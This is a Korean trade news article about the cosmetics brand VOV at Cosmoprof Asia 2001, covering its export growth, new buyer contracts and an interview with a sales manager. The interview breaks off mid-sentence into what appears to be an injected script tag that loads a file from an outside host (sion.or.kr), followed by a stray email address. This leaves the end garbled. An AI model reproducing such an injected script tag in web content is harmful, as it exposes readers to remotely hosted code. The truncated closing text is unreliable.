지난 1985년부터 해외진출을 하기 시작한 보브(대표이사 박재남)가 지난 13일부터 15일까지 홍콩에서 열린 ‘코스모프로프 아시아 2001’에 참가해 보브제품의 위상을 펼치고 돌아왔다.
중국, 미국, 러시아, 몽고 및 동남아시아에서 유명 색조브랜드로 자리매김하며 올해 250만불의 수출실적을 바라보고 있는 보브는 최근 몇 년 사이 해외수출 실적이 급성장하고 있다.
이는 보브 제품이 갖고 있는 제품력에 기인한 바가 크다고 볼 수 있으며 이를 바탕으로 아직까지 미개척지로 남아 있는 보다 많은 지역에의 진출을 위해 보브는 이번 홍콩 코스모프로프 박람회에 참가하게 됐다.
총 19개 한국업체가 참가한 이번 박람회에서 보브는 특히, 다양한 품목과 색상의 색조제품으로 돋보이는 부스 디스플레이를 선보여 바이어는 물론 현지에서 매장을 운영하는 화장품 전문점주 등 전시회 참관자들의 눈길을 사로잡았다.
이를 통해 신규시장 진출이 유력시되는 지역은 서남 아시아, 중동, 남 아프리카, 영국, 핀란드 등이며 이중 특히 서남아시아와 중동은 전시회를 통해 이미 가계약을 체결한 상태.
이들 국가들 외에 보브 제품에 관심을 보인 기타지역들과는 근간에 협의 후 계약을 체결할 예정이다.
상담을 했던 이들 신규 바이어들은 공통적으로 색조브랜드 제품 판매에 있어 다양한 제품군을 갖추고 있으며, 경쟁력있는 가격대와 안정적으로 제품을 공급할 수 있는 업체를 찾고 있는 이들이었다.
그리고 보브가 그러한 조건을 모두 갖추고 있었기에 순조롭게 계약을 진행할 수 있었던 것으로 평가받고 있다. 특히 아이섀도, 립스틱, 매니큐어, 립폴리쉬의 반응은 외국인의 감탄을 자아낼 만큼의 찬사로 이어졌고 제품 테스트 후에는 더욱 만족스러움을 표시했다.
그간 진출했던 시장마다 성공적인 결과를 이끌어내 온 바 있는 보브는 그간의 경험과 금번 홍콩 코스모프로프 아시아 2001 참가를 계기로 다가오는 2002년을 보브의 해외진출이 본격화되는 한 해로 만들 것으로 결의를 다지고 있다.
이의 실현화를 위해 보브는 우선 오는 2002년에 개최되는 3∼4개 정도의 전시회 참가를 준비하고 있다. 이를 통해 유럽 및 아메리카 진출을 모색하는 한편 기존의 해외 파트너들이 자국의 판매망을 공고히 할 수 있도록 TV광고 등 각종 광고매체를 활용 적극 지원할 예정이다.
지속적으로 괄목할만한 성장세를 보이고 있는 기존시장에서의 반응과 순조로운 수출계약이 진행중인 신규 시장으로부터 4백만∼5백만불의 수출이 예상되는 2002년에는 색조전문 브랜드로서의 VOV가 한단계 성장할 수 있도록 다양한 컬러마케팅 및 신규아이템을 개발해 한층 보강된 제품을 전 세계에 선보일 예정이다.
처음으로 참가했던 이번 전시회에서의 성과가 기대이상이었던 만큼 보브는 이번 전시회 참가가 향후 국제화 시대의 길을 환히 밝힐 수 있는 계기가 될 것으로 기대하고 있다.
INTERVIEW------------------------[영업부 무역과 김남영 과장] “브랜드파워로 공격적 수출전략 펼 터”
“보브는 중국에서 브랜드 이미지가 매우 좋습니다. 꾸준하게 유지해온 브랜드 관리 덕분입니다. 이런 브랜드의 파워를 무기로 보다 적극적으로 수출전략에 나설 계획입니다.”
보브의 김남영 과장은 중국권에서 ‘VOV’의 이미지가 고급스럽기 때문에 적극적으로 수출 전선에 나서면 충분한 성과를 거둘 수 있을 것으로 확신했다.
기존에는 찾아오는 바이어 위주의 수동적인 영업을 했지만 앞으로는 직접 찾아가는 능동적인 영업을 하겠다는 것. 공격적인 수출 전략과 보브의 브랜드 파워가 만나 시너지 효과를 창출하면 본격적으로 해외영업에 불이 붙게된다는 설명이다.
“올해 처음으로 홍콩 코스모프로프에 참가했습니다. 첫술에 배부를 수 없는 만큼 당분간은 최상의 바이어를 만난다는데 의미를 두어야겠죠. 각종 박람회 참가와 적극적인 해외영업으로 향후 2년 내에 500만불을 달성해 해외시장에서 확고한 위치를 차지할 것입니다.”
보브는 수출에 관한 기본 시스템을 이미 갖추고 있다. 미국, 일본, 중국, 러시아 등 아시아권에는 거의 다 수출하고 있을 정도. 특히 중국은 최근 한류열풍과 고급스러운 브랜드 이미지를 통해 적잖은 성과를 거두고 있다.
“하드웨어가 웬만큼 갖추어진 만큼 소프트웨어만 지원되면 큰 성과를 거둘 것으로 기대됩니다. 보브의 우수한 제품력과 브랜드 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr
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